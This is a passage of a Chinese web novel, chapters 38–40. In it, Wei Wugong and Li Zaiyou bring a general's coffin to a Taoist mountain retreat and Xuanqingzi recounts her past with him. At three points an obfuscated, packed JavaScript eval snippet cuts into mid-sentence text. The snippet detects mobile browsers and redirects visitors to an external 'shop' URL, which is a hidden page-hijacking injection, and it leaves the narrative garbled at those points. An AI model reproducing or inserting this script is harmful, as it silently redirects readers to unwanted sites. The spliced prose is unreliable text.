然后,不知怎么的,一阵车马混乱,他身边乌泱泱的一群人都跪在了地上,他也稀里糊涂被人按在地上,脑袋冲着地板。 “有制——众听宣!” 一个太监捏着嗓子的声调传来: “门下:禁军团练使、权知易州军州事沈仓,膺守边之重,而暗于大体,专辄纳叛,以挑强邻;私戮归将,而隳军制。辜委寄之深,损国威之重。宜付有司听候裁决——” 魏无功浑浑噩噩地,压根儿没听清他在说什么。 传圣旨的宦官念完,合上卷轴,退到一边把路让出来给上面派下来的干办,对底下跪着的都总管说:“王总管,沈仓何在?即刻交割罢。” 跪在魏无功身前半个身位的王总管小心翼翼地抬头,说:“朝廷有令,微臣不敢怠慢,但是眼下这沈仓……” 他眼睛看向地上掀开的草席,梁阿兰跟着接了一句:“沈将军率众突围,人已殉国,尸身在此。” “哎呀,这就难办了呀……”一个很熟悉的声音从头上传来。 后面王总管和梁阿兰又说了些什么他没注意,只是默默看着沈仓的半个脑壳,疑惑两件要死的事情撞在了一起,这时机来得未免也太凑巧了:沈仓老早就知道要遭清算,已经惴惴不安月余,但是怎么偏偏前脚人刚牺牲,后脚上面的罪状就来了……难道说! 魏无功如梦初醒,猛地抬头望去—— 李在宥坐在高头大马上,逆着光,夕阳在他周身勾勒出一圈金边,正目光沉沉地看着他。 魏无功被光影弄得晃神,看马上的人气宇轩昂,肩是肩腰是腰的,默默在心里感叹一句:“妈妈呀,这人好帅啊……” …… 众人散去,魏无功站在能看见议事厅的角落里等。 中军营不比以前的行营,随随便便见得着面说得上话。李在宥按例要先去议事厅和王总管喝上一会儿茶。这回,他挂的头衔有点高,魏无功虽然心里着急着想确认沈仓是不是真的还活着,但是也不敢贸然走上去给他惹麻烦。 “啧,真是扮太监有瘾了,”魏无功想着他一路换来换去的官服,觉得有点好笑:“咋想的……”小太监变成大太监,官儿还越当越大。 过了一会儿,李在宥和王总管肩并肩的走出来,魏无功听见他说:“这事儿不宜人多,我就向您借了魏都头,先把公主安排的事情办了……” “好说好说,”对面的王总管连连点头,冲着魏无功一招手,喊了一句:“备马车!” 魏无功心情激荡,连忙找人抬了张定钧的棺椁,放在马车后头捆着,装模作样说了句:“委屈李大人”,将人请上了车,自己在前头驾马。 由于过于激动,鞭子一扬,抽得那马屁股一激灵,原地弹起蹿了出去,车里的李在宥跟着一颠,脑门子磕在窗框上,瞬间红了一片。 “你老哥人好着呢!”眼看着离中军营的大门远了,李在宥在车厢里连忙喊:“你别颠我了!” “真的啊!”魏无功高兴得一掀帘子,把李在宥生生从后头拽出来跟他一起坐在车辕上:“你怎么这么厉害!”马车太吵了,还是坐边上说话方便。 “嗯呐,”李在宥被他拽得胳膊疼,本来想矫情一下,但是看着魏无功高兴他也跟着高兴,气愣是没撒出来。他拿胳膊拱了一下魏无功:“想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195550|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我了没?” “想,可想了,”魏无功哼笑了一声:“想你半年不回消息呢,也不知道在憋什么好屁。” “啧……”李在宥啧了一声:“办个事儿哪有那么容易……” “快给我讲讲,”魏无功说。看他脑袋上一片红,顿时有点不好意思,扯了扯绳子把马的速度降下来:“不好意思啊心急了点,不过你也太不禁磕了……” “这从哪儿说呢,”李在宥搓搓头皮,想着先从哪里开始讲起:“赵元贞早就知道上面对老哥后面的安排了,但是她也要明哲保身,不能直接出面……” “所以你们早就和梁阿兰串通好了对吧,”魏无功说:“怎么也不想着跟我通个气先。” “不是不想,是不敢。”李在宥看着魏无功,感觉大半年没见,怎么感觉和记忆里的有点不一样,但是又说不出来了哪儿不一样,让人忍不住盯着看。 “一方面是不太能把握得住阿兰姐的脾性,另外也是为了保护你,”李在宥说:“依着枢密院的调性,如果沈仓殉国的消息是镇戍军自己人报出来的,肯定不会信,”他把脑袋转回去望着大路,再盯就不礼貌了:“但是藩军和镇戍军当时在敢战营一起打过辽人,还得先使一招离间计在前面,不然朝廷也不信她的话。” “梁阿兰那个弹劾,怕是是半真半假吧,”魏无功想起那个事情还是有点微妙的不爽。梁阿兰对云昭阁和镇戍军有自己的怨气,估计也不是全心全意的配合。 “可不是,不过好在她是真的想要正规军的身份,所以也算是各取所需吧,”李在宥余光看着他说:“再加上阿兰姐虽然后来接了这差事,但是她藩将的身份也不好搞,为了让她还能回易州,还得先安排她升迁、转职、调动,这中间多少事儿啊,都得一件一件打点……” “啊……也是,”魏无功听明白了:云昭阁在沈仓的必死局上打了个时间差,半年,只够勉强把棋子摆到位置上,不仅要每一步都走对地方,还得等个机缘,而围城就是最好的机缘,前后差一步,沈仓都活不下来。“好险呐……”他感叹。 “知道我不容易了吧!”李在宥手往车辕上一拍,尾巴翘得高高的:“我还抽时间处理张定钧的事儿了呢,还有豆饼……” “哦对,说起豆饼,”魏无功想起来小朋友:“她在蚕姑坨了吗?” “到了,估计跟赵元贞正撒着娇呢,我把赵元贞的车架送到地方就走了,没上去看。”李在宥说:“说起来,赵元贞和玄清子也算是笔友见面了……” “啊……公主也在山上啊,”魏无功刚光顾着想沈仓的事儿,后知后觉意识到自己要故地重游了,突然紧张起来。 “没事儿,”李在宥看他一眼:“有赵元贞隔着,那必定不能让你挨揍不是?” “嗯……” “……”李在宥看魏无功肉眼可见的蔫儿了,说:“玄清子有这么吓人啊……” “唉……”魏无功叹了口气,手指忍不住一直抠着缰绳:“你到了蚕姑坨见着人就知道了……” 38.蚕姑坨 “小魏……小魏魏……魏都头……” “你歇会儿吧,我不行了……” 李在宥在后头嚎,肩上扛着挑棺材板儿的扁担,很后悔为什么没带几个人一起上山,导致现在要吭哧吭哧负重爬。 “大哥,大部分重量都在我这儿,”魏无功走在他前面两级台阶,眼看着天都要大亮了他俩还没走到山门:“拢共就这么点儿路,歇两回了!” “山门还有多远啊……”李在宥知道自己可能有点儿矫情,因为明显魏无功那头更重,但是他跟在后面,脚步子快慢不由自己定,走起来感觉也格外费劲:“要不……还是我走前面……” “到了到了到了,我摇人了!”魏无功烦得要死,终于望见山门,大声喊了一句:“师姐!”管是谁答应,反正先喊着。 无相门后头探出个脑袋,是近年上山的新道姑,魏无功并不认识。道姑早已得了吩咐,看他俩挑个大棺材,知道是宫里的人,三步并作两步跑过来想接担子。魏无功大拇指往后一指,示意她先接李在宥的。 李在宥本来有点不好意思让姑娘替自己干活,结果那道姑袖子一撸,露出一截儿筋肉虬结的胳膊,给李在宥看傻了,默默把自己那头递了过去。 “谢谢……”李在宥悄悄看那个膀子,还在震惊。已经快入冬了,山上虽然还没下雪,但是他俩爬上来的时候,清晨沿路上的草甸子都藏着冰碴,这姑娘居然就穿一件单衣,扛着厚重的漆棺,气都不带喘。 他跟在后面,看魏无功和那个小道姑简单寒暄两句,就不做声了。李在宥四处打量着,两边影壁上画着太极图,正前面钟鼓楼过了再往上看,能隐约看到后头气势恢宏的灵宫殿牌匾。离大殿越来越近,他估计魏无功是紧张。 “仙长,这会儿玄清真人在观内吗?”李在宥替他问了一句。 “师父还在讲晨课,居士们在后殿喝茶,”负责迎来送往的小道姑机灵着,哪里听不出来,于是说:“赵居士跟我说先带魏师兄去后院压压惊。” 李在宥一听,乐了,说:“我就说赵元贞要保护你的吧。” “……”魏无功感觉自己人还没进观,脸已经先丢出去了。 几个人带着棺材走的小路,不打扰玉皇和三清,直接绕到了后面的蚕姑殿。蚕姑殿边上是道姑们的居所,修了几座农家小院儿,良田桑竹,鸡犬相闻,在晨光中一派和谐。 小豆饼穿个红夹袄在院子里玩,老远就看到他们,冲着屋檐底下坐着喝茶的二人喊了一句,像个小鞭炮似的跑出来迎接。 “豆饼——”魏无功看她扑过来,卸了扁担,架着咯吱窝把她举起来:“好像是重了哈,还是蚕姑坨吃得好。” “真人特许我吃肉!”小豆饼伸出几根儿手指头比划说:“这儿养的鸡已经被我吃四只了。” “啧啧啧,”魏无功感慨他当年就没有这个待遇:“怪不得圆了。” 他放下豆饼,看远处赵元贞和沈仓也走了过来。此时天已大亮,山顶洒满金光,故人相见,两位长辈满面含笑,看得魏无功鼻头一酸。 “小魏啊,快过来让我瞧瞧!”赵元贞冲他招手:“打仗受伤了没有?” 魏无功小跑着过去,摇了摇头。他看着沈仓,有点想问,但是喉咙哽咽发不出声。 “都好着呢,”沈仓拍拍他肩膀:“我在这里避一阵风头,让你嫂子那边吹拉弹唱走个过场,就能解甲归田了。” 他冲着山川田野大手一挥:“从此渔樵耕读,乐得自在!” 话虽如此,沈仓戎马一生,如此隐退,有多少壮志未酬就不知道了。 “放心吧,我说了云昭阁看着你老哥的,”赵元贞点了一下魏无功的眉心:“我从来不食言。” “说起来,得亏你来得快,”沈仓凑到魏无功耳边说:“这儿住的清一水全是姑子,我要羞死了。” 魏无功听了这话,“噗”地一笑,差点喷出个鼻涕泡。 那头,李在宥跟一起来的道姑道了声谢,看她去找玄清子了,连忙跑回来,对着魏无功扬起胳膊,问出了他最关心的问题:“蚕姑坨怎么回事!一个守门的,还吃素,练成这样?!” “……”魏无功摸摸鼻子,嘿嘿低笑两声:“有个事儿忘了提前跟你说……” “在这片儿,我功夫倒数。” “……” 李在宥问:“我现在拜师还来得及吗?” “晚了,”沈仓笑着说:“我已经问过了,真人说不收男徒弟。” 几个人谈笑了一阵儿,能看出来,沈仓虽然有些不甘心,但是离了官场,整个人精神气质好了很多,看脸都觉得年轻好几岁。 一盏茶的功夫,玄清子诵完经,安排人将棺材抬到三清殿前面的法场,让小道姑过来喊他们一道过去。 李在宥看着魏无功瞬间绷紧的后背,忍不住往他后心一拍,说:“怎么怕成这样?” “嗯……”然而魏无功只是从鼻子里挤出一些声音。 法场是一块大平地,中轴对称,宝相庄严。背靠三清殿,檐角斜飞,脊兽肃穆,篆体的牌匾看上去相当有年头了。左右两边各一个汉白玉华表,地下是青白色的砖岩铺地,隐隐看得出巨大的八卦阵图案。一口巨大的青铜鼎伫立中央,上面“玄牝之门”四个大字,笔法苍劲,力韵千钧,也难怪得魏无功这种文盲也认识。 大鼎之中,炭火柴薪已经备好。玄清子手持麈拂,孑立漆棺之后,半闭着眼睛。 “若然者,其心志,其容寂,其颡頯……”李在宥看着她,鹄面销形却并不羸弱,面色无悲无喜,淡漠安然,似古井、似老月、似秋风,果然是化外之人。 “真人,搅扰了,”赵元贞打了个招呼。 玄清子睁开眼睛,冲她微微颔首,视线扫过李在宥等人,落在魏无功身上。 “师父……”魏无功喊。 “回来了。”玄清子说。 魏无功点点头:“回了。”见玄清子对自己仍然喊师父没有异议,魏无功小心松了口气。 “稳重了不少。”玄清子说。 “是。”魏无功答,脑袋压得低低的。 李在宥在心里啧啧啧,魏都头见了师父,就跟霜打的鹌鹑一样。 “沈居士费心雕琢,”玄清子冲着沈仓打了个躬:“山野小子也学规矩了。” “哪里哪里,”沈仓学着她回礼:“是这小子自己争气,军功攒了一箩筐。” 玄清子微微一笑,问魏无功:“是么?功劳拿去花了还是攒着呢?” 这一笑给魏无功看得心情澎湃,不仅没吃闭门羹,还得了个好脸色,连忙装乖:“都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199848|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 攒着,花得很少。”说完看了一眼李在宥:不提他还没想起来,他还有一个陶罐的账要跟这人算呢! “还是没开悟,”玄清子笑着摇摇头:“云来云往,不过缘法。不过……攒着也好罢。” “你来开棺,”她冲魏无功招招手,随即使了个眼神给边上候着的道姑,道姑心领神会,拿来几个蒲团子放在众人身边,示意大家坐下。 李在宥也屁颠颠过去表现,和魏无功两人一左一右打开棺材。 里面无头的尸体居然和刚放进去几乎没什么两样,不过多了些尸斑。论理过去有半年了,还熬过了三伏天,血肉早该化脓露出白骨了。 “他也吞了丹么……”李在宥有点好奇,刚要伸手去动尸体身下的草席,突然看见玄清子把手搭在棺材边上了。 “怎么是张将军……”玄清子问。 “嗯?”李在宥看着她:“没有脑袋您都能认出来?” 她和张定钧认识这件事,虽是意料之外,但细想却又在情理之中。但是,他和赵元贞并没有跟玄清子说棺中之人是谁,仅凭躯干就能瞬间把人认出来,恐怕不是一般的认识吧…… 玄清子抬眼看了李在宥一眼,李在宥被她看得莫名其妙有点怵。 “这位小居士也是七窍玲珑心。”玄清子坐了回去,手掐了个子午诀,轻轻阖上眼睛。李在宥撇撇嘴,感觉不是夸人的话。 “公主,您该早点告诉我的……”玄清子叹了口气:“我和张将军,是十几年的旧相识……” “是我欠考虑了,”赵元贞说:“想着真人不关心尘世间的荣辱悲欢,就没有多言,没想到……” “罢了,都是过去的事了,”玄清子打断了她的话:“烧罢。” 魏无功冲李在宥一仰头,李在宥和他两个人一人捏着席子两角,将尸体轻轻抬了出来,稳稳放进大鼎里。点火之前,魏无功一个蜻蜓点水,俯身进去把用来代替脑袋的玉覆面捞了出来搁在一边的棺材上。 玄清子感受到他的动作,心念微动,却没有吭声。 道姑取来火把,点燃了大鼎。火焰熊熊燃烧,转眼尸体就冒出了黑烟。这一幕似曾相识,李在宥和魏无功对望一眼,都不由自主想起了当年阿尔斯兰在大墓里做法的情景。 玄清子安静打坐,其余人也不好意思说话,只有冬天里的柴火哔哔啵啵燃烧。 烧着烧着,众人眼前开始出现一些幻象。这一次,本以为在开阔场地,又只有一具尸体,没有准备太多,却没想到幻觉来得比以前接触都更为强烈。 火焰的温度将视野扭曲,在恍惚流动的空气中,一只飞舞的红蚕似乎从烟雾中腾起,带着无数交错的丝线,绕过山川河流,飞过朝野兴替,最后消逝在一片虚无之中。 “这……”赵元贞坐直了,小声左右问:“我们看到的景象,都是一样的吗?” 几个人一核对,居然都大差不差。 “这真是奇了……”沈仓也忍不住感叹。 “无功啊……”一直没做声的玄清子突然开口,抓住了他的手腕:“是我错了……” 她依旧半阖着眼,但此刻眼角看上去似有些哀伤:“是我错怪你了……” 魏无功看着手腕上骨节分明的手,带着不属于女人的力道,刚平复下去的心又开始突突地跳。 39.最后的巨子 薪火燃尽,张定钧的“舍利”终于现世。 灰烬中,一枚小小的、宝石般的晶体流萤闪烁,在黑色的焦炭里发出幽冶的暗红光芒。 众人都好奇地凑在大鼎的周围往里面望,却不太敢直接上手取。最后,是平复下来的玄清子探身进去拿了出来。魏无功想拦她,她说了声“无妨”,取了晶体摊开手给大家看。 那是一个质地特殊的弹弓形楔子,在阳光下射出内部精密的螺旋纹路。李在宥看了半天,在脑海中翻阅自己见过的三棱形物品,感觉既不是飞镖,也不是改锥,像是某种不太常见的机械工具。 “这是……转轴?”赵元贞猜了一个。 “很接近,”玄清子说:“这是一种机簧装置,不过它有一个更古老的名字,叫做‘偃芯’。” “偃芯……有偃芯那就也有偃师……”赵元贞抬头,和李在宥交换了一个眼神,彼此心照不宣想起了些东西。魏无功看着他俩眼神交锋,看不懂,有点羡慕。 “这东西的质地,跟光明血的不完全一样,”沈仓指着偃芯中间的部分:“里面一圈儿一圈儿的纹路,看着眼熟。” “这好像是……蚕茧?”魏无功不确定地说。 “没错,”玄清子看了他一眼:“就是蚕茧。” “原来这东西,是含在蚕姑口中的随葬品,在山洞里不知道放了多少年,可能是她生前的东西。”玄清子叹了一口气:“我原以为,是你偷偷拿了去卖了,没想到,最后原来是在他手上……” 玄清子对着众人,说出了她和张定钧相识的故事: 二十年前,彼时的易州还是辽占区。 铁骑踏碎沃野,安土重迁的人们却不肯轻易离开祖祖辈辈耕种过的土地。辽军一波接一波地掳掠粮食和人口,手无寸铁的村民只好纷纷逃到蚕姑坨避难。 随着上山的人越来越多,辽军必然不会坐视不理。当时坐镇易州的,正是风头正劲的少年将军张定钧。他立即遣了一支小队,上山拿人。 然而,上山的辽军意外发现,蚕姑坨里三层外三层修建了好几圈低矮的土城墙,一层城墙对应一层机关,一不留神,就陷了进去。 先头折了两支小队,张定钧破口大骂,给后进去的队伍配上了正儿八经的攻城器械。然而时间过去月余,始终破不了局。 “将军,那个山上有宋人请的鬼……”回来的小兵满脸挂彩,尿了一□□,也不知道是经历了什么。 “放你妈的屁,”张定钧从不信这些神神鬼鬼,喊出一句“老子亲自去会会!”带着人骑着马直奔蚕姑坨而去。 刚走到山下,他就察觉出一丝不对劲。马蹄走在乡道上,发出“叩叩叩”的音响。 “空心的?”张定钧下马,对底下人招招手:“挖开看看。” 几个小兵一通挖掘,在地底下发现几个空水缸,都是农民家里常用的款式,按照特定的规律排列着。 张定钧围着大水缸转了两圈,虽然没完全看懂原理,但是也大概猜到了:这是传音的话筒。他们在这里的响动,山那头没准儿早就听见了。 他眼睛提溜一转,仍然让前队车马沿着正面山门的路线往前,自己带着小队人马,用布包了马蹄,绕道后山。看到一圈低矮的土墙,便知道到了小兵口中说的第一重关。 马蹄越过围墙的时候,张定钧心里疑惑了一阵儿,这种高度的墙体既不能拦住车马,也挡不住炮火,更蓄不了水,何必做它呢?然而马上奇异的事情就发生了,就在他们大部队最后一个人进入墙内的那一瞬间,突然面前一阵飞沙走砾,黄土地上的尘土扬起,带着初春满地的旧叶,糊了人的眼睛。张定钧艰难地眯着眼,听见风中传来传来凄凄厉厉的呜咽,像是有鬼在哭。 众人还没来得及适应,眼前又是一阵鬼影晃动,密林里面冒出数道人影,张牙舞爪向他们扑来。一时间,人马俱惊,下意识就想着四散逃开。 “都给我站定了!”张定钧爆喝一声,从背后箭筒里抽出一根箭矢,弯弓搭箭,对着对面影影瞳瞳中的一个,“嗖”一箭射出。 一阵皮肉交响,他知道自己射中了。 一个浑圆的东西一边嚎叫一边从迷雾中冲了出来,定睛一看,原来是只野猪。 “哼,装神弄鬼。”看边上的几个兵七手八脚将野猪大卸八块,砍成肉泥,张定钧一声冷笑,抽刀循着那野鬼的声音走过去。 绕过藤蔓缠绕的风箱,只见两旁的老树上挂着几个碎玻璃镜子,那些不知是人是鬼的东西估计就是它们折射的光影。他举起刀,对着树干轻轻一劈,那老树枝就“咯嘣”一声碎了一地。原来,这树干被人掏空了芯子,有风吹过,就会发出各种奇异的声响。张定钧也算是见多识广,在某本兵书里读到过这叫“风吼木”,是一种设置迷障的小技法,破了这第一道关。 “不过是砍几棵树养几只猪的江湖术法,就给你们吓成这样,丢不丢人,”少年将军瞪了一圈下属,很是倨傲地重新跨上马:“走吧,我倒是要看看后面还有什么把戏。” 很快,一行人就接近了第二道土墙。沿路上,张定钧发现草垛子里面藏着小碗,装了些盐巴和食物,估计就是山民用这些东西吸引力来野猪的。“所以说,山上其实,没有我们想的那么多人嘛……”张定钧思忖着,之前的小兵说得太神乎其神,还以为上面是多大一支装备精良的队伍,没想到到头来,是靠的野猪野狗在打架。 想到这里,张定钧有点恼,自己的人就是被几只野兽吓成这样?等他抓了设局之人,保准叫他吃不了兜着走。 第二道围墙较第一道稍高一些,里面是蚕姑坨设置的类似耳城的城防,铺了平地,设置了两边的栈道和沟渠,看着像是能够放滚石檑木的装置。这有点出乎张定钧的意料,一群山野村夫,什么时候学的兵法,难道山城内还有军队不成。 因为有了正山门的疑兵,此时蚕姑坨的布防都集中在前面,后山只有几个老弱在临时搭建的岗亭值守。张定钧老远就看见一个老头儿,站在高台上,颤颤巍巍举旗子晃了晃。少年人压根儿没把他放在眼里,甚至看着他恪尽职守的样子感觉有点好笑:想那巨石木动辄千斤重,几个老弱病残哪里扛得动? 他吹一声口哨,驾着快马,打算直穿耳城。走到一半发现不对头的时候已经晚了:他们的队伍正前方有几道吨重的大门,竟然正在徐徐打开,而推门之人,不过三四个垂髫小儿。 “散开!散开!”张定钧连忙喊。滚石和木桩“轰隆隆”落下,张定钧提着一口气,调转马头,左右突奔,才堪堪躲过,勉强冲到门下。回头一看,大队人马陷进去了一半。 “他妈的……”他抓鸡似的提起一个小子,厉声问:“后山有多少人?有没有军队?” 小男孩儿吓得一声不吭,只是哆嗦着摇摇头。张定钧大手一挥,将他扔在路边,看他屁滚尿流跑了也懒得去追。是他自己大意,杀几个老头儿小儿泄愤也没什么意思。 缓过劲儿来,他往门后头看,是一排排结构精密的木质齿轮,连着一些他看不懂的轴承、撞木、飞炬,全套装置不用一颗钉子,只用榫卯嵌套,古朴中透着机巧。有人在这里精心设计了一套平衡卸力的机关,使得厚重无比的巨大闸板和重门,耄耋老人和尚未及笄的幼儿也能轻松开合。 “好啊……”张定钧咬着牙说:“有点儿东西哈。” 他年轻气盛,又负着气,已经顾不得后头的伤员,一门心思想把设局之人揪出来杀之后快,于是干脆甩开后面大部队,快马加鞭一人冲在前头。 沿路只埋伏了个把村民,有些两侧栈道布防安置的转射机和藉车,这些攻击对于沙场上真刀真枪拼杀出来的张定钧来说都是洒洒水的小事。 过了耳城,就是后山的山门了。 张定钧抬头,看山巅蚕姑殿的瓦楞在太阳下闪着一片光华,山门后面是万亩良田,种着四季的蔬菜和麦子,四散几个零星的水塘,在日光下头碎金粼粼。 就这地方,即使在山脚下铁桶般围上十年,怕也是能自给自足,给他气得牙痒痒。 蚕姑殿的山门三门并立,分别名为“无相门、空门、无作门”,对应着人间“贪、嗔、痴”。张定钧不懂什么“谦逊入道”,只知道自己堂堂正正的男子汉大丈夫,不该走侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208632|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门,于是挥刀断锁,马蹄蹚开中间的空门,一人一马立于法场中央,大喊一声: “管事的出来!” 蚕姑坨菜地耕种的一干姑婆惊讶发现,贼人已攻破后山,于是慌不迭去前面找人。 不到一炷香的功夫,一个十六七岁的干瘪丫头搀着一名站都要站不稳的老道姑,踩着碎步前来,身后跟着十七八个壮丁“护法”。然而这阵容都不够小张将军塞牙,导致他一时反不知道该作何反应。 为首的道姑是当时的主持,而她身边的小丫头子正是二十年前的玄清子。 那会儿的玄清子还没有道号,只是游方到此的一个木匠,双亲死后,带着家里一干吃不饱饭的姐妹,暂居在山上负责修缮三清殿年久失修的房梁。她们不收工钱,只为吃一口饱饭,有个屋檐子住。山上的道姑和避难的山民也不喊她名字,而是叫她“巨子”。 “然而,我并不是巨子,”玄清子对众人说:“我只知道父亲师从墨家,留下几本守城的残本,那会儿,我不过是套用了中间的几章看得懂的罢了。” “当时,小张将军将把刀架在主持脖子上,说:‘把制作守山机械之人交出来,饶你们不死’,主持想护着我,但是我没答应,”玄清子想起往事,眼神中流露出复杂的情绪,轻轻笑了一下,说:“张将军看我们一干老弱妇孺,终究没下去手,最后以我三本墨家残书,换得山下驻军睁一只眼闭一只眼。” “一来二去,他和蚕姑坨成了朋友,时常来山上跟主持讨教功夫,”她手指轻抚着大鼎:“要论一本正经关系,我们还算师兄弟。” “张将军的为人……”沈仓感慨道:“可惜了。” “是啊……染上了因果,又能怎么办呢?”玄清子答。 突然,她话题一转,问沈仓:“说起来,张将军他,有家人吗?”魏无功抬起头,很奇怪地看了她一眼。 沈仓摇摇头说:“只有军中几个赤睛魔王,亲如兄弟。” “赤睛魔王……是什么?”玄清子有点茫然,沈仓正要解释,被她打断了:“那既然他的骨灰在此,就由蚕姑坨主持安葬事宜吧。” 玄清子安排魏无功先带着李在宥去吃午饭,由他们几个做长辈的商量张定钧的后事。 走出法场,魏无功一屁股坐到土墙上,说了句:“有古怪。” “什么古怪?”李在宥问他。他也坐到土墙上,此时此刻再看这土墙的残垣,瞬间感受到了时间的厚重之感。 “我师父,从来不打听红尘之人的家室,”魏无功胳膊拱了一下李在宥,拿两个大拇指做了个唧唧我我的手势:“你说他俩是不是……” “我看八成是,”李在宥也跟着八卦:“你没看赵元贞都没问偃芯的事儿嘛,估计是看着时机不好,你师父正伤心呢。” 两人猜的对也不对,法场上,玄清子确实还有一段话没说: 张定钧按照辽人的规矩,在蚕姑坨干了三年农活,终于支支吾吾跟玄清子提了亲,话绕了一圈儿弯子,大意是说两人都无父无母,不如以后一起过,互相有个伴儿。没想到被玄清子一口拒绝。 玄清子说:“我当初许诺给你三本墨家残篇,虽保得住蚕姑坨百余人性命,到头来,却害了更多人性命。 我是粗鄙愚笨的人,想不了国家大义,也分不清轻重缓急,只顾得眼前的事儿。但是我始终心里有愧:既对不起父母,没有守住先辈经典,亦对不起前线作战的汉家兵卒,教授了他们的敌人攻城守城之法。 我只有一条命,还不了那么多人情。我已经答应了主持,今后做个道姑,了除业障,不昧因果,就在这山里生、山里死,哪里也不去了。” 张定钧听了,先是七窍生烟,而后肝肠寸断,迷迷糊糊之中,听得玄清子在喊他拜天地,待他跌跌撞撞、迷迷瞪瞪闯进一间石室,却只见到一座水晶棺。 棺中之人面目不清,交给他一颗质地奇特的红色晶体,让他从此下山,忘却尘缘,去找一位西来的上仙开悟,这之后,才有了他们知道的赤焰军的故事。 可惜张定钧已死,有些真相的细节,注定是拼凑不起来了。 40.天门 下午,李在宥跟着魏无功满山转,看他长大的地方。 转到后山,俯瞰张定钧当年上山的路线,能看到不远处一处山体中央自然形成的石洞,当地人传说是蚕姑得道成仙时一掌劈开的。李在宥仔细看那个石洞,左右石壁对称高耸,形若双阙,洞开一隙,仿佛一道天门。云雾缭绕其间,金光穿过洞府,留下一道道华韵,正对着蚕姑殿的方向。 “怪不得蚕姑选了这么个地方埋葬,”李在宥指着“天门”对魏无功说:“这里的山川走势和自然奇观,是求之难得的修仙风水。” 汉代喜欢建巨大的封土堆作为坟丘,设置广阔的茔域并修建长长的墓道。其中,墓道最前方的墓阙,往往画着双开的天门,并在中央雕刻西王母等位列仙班之人,意味着穿越天门,灵魂通过了天庭的审查,从此脱离生死轮回,永居极乐仙境。 而雕琢的哪比得上天然的气派?什么巨大的封土堆、漫长的神道,在它面前都显得匠气了:此处高山为冢,天门自开,是再好不过的登仙台。想想当年的蚕姑,或许就是在这里修仙打坐,指望有朝一日斩去三尸,羽化登仙。 “不过……你之前是不是跟赵元贞说,墓室里只有一个棺材?”李在宥有点好奇:“壁画也没有吗?” 魏无功想了想:“那会儿我太小了记不清,印象中好像没有……不过如果按照那个年代的墓室结构,放棺材的石洞应该是最里头的主室,按距离来算,理论上蚕姑殿的本体才是当初修建的神道,一会儿可以去殿里墙壁上找找。” “可以啊魏大人,”李在宥拍拍他的肩膀说:“你这倒斗的经验赶得上云昭阁的考工了都!” “说起这个,咱俩是不是有笔账没算?”魏无功被他一巴掌拍醒了,拿手戳了一下他胳膊,问:“老子的瓮呢?”那个存钱的陶瓮里一半的宝贝可都是他费劲从墓里搜罗来的,李在宥还没给他个交代呢。 “你知道是我呀!”李在宥搓搓被他戳中的地方,非常高兴地说:“我还担心留的板珠子太小你没看见……” “别扯淡,我东西呢!”魏无功才不想听他哔哔。 “我给溶了。” “溶了?” “嗯呐,一堆破铜烂铁还有明器,叮呤咣啷带着又不方便,干脆溶了重新做。”李在宥看着他说。 “那……”魏无功有点懵,问:“做了个什么东西?” “现在先保密,”李在宥眼睛一眨:“赵元贞说要放到晚上人齐的时候的时候给你,当个惊喜。” “什么东西神神秘秘的……”魏无功被他弄得心痒痒,怎么连公主也参与了,问他:“不给我先透点儿吗?” “惊喜就是惊喜,说出来不就不惊喜了嘛,”李在宥在后头推他:“走走走,先去蚕姑殿……” 魏无功没法,只好带着他往回走。快到大殿,看到早上那个迎来送往的叫紫苑的小道姑正好打了水过来浇菜园,他俩挥手打了个招呼。 李在宥看她一个姑娘家,一个人挑着扁担抬着两桶水,走得四平八稳,突然起了玩心,很好奇她和魏无功打一架谁会赢。 “仙姑,你上山几年了?”他问紫苑。 “有三四年了。”紫苑说。 “你呢,你功夫学了几年?”他转头问魏无功。 魏无功眼睛一眯:“几个意思,你是不是又没憋什么好屁?” 果然不出魏无功所料,李在宥说完开始摸兜儿,他在大衣掏了半天,掏出一小颗金豆子,用大拇指一弹,马蹄状的金豆在空中转了一圈,被紫苑稳稳地接了,侧肩的水桶都不带晃的。 “仙姑,路过宝地,先奉上香油钱,”李在宥行了个拱手礼:“请仙姑帮我们写几句吉利话。” 紫苑也双手一抱,说了声:“居士有心了。” “说来也是缘分,我家魏大人自谦,说功夫下了山学杂了,”李在宥纸指指魏无功,对着紫苑说:“想请仙姑指教,看他是不是真生疏了。” 魏无功看了他一眼,伸出手:“那我的呢?” “什么你的,”李在宥把他手打开:“我交的是诚心香油钱,又不是给你下注的彩头。” 魏无功抬腿就是一脚:“那我白挨一顿揍吗?” “啧,这就是你的不对了魏大人,”李在宥揉揉屁股:“还没开始切磋怎么就想着输呢……” 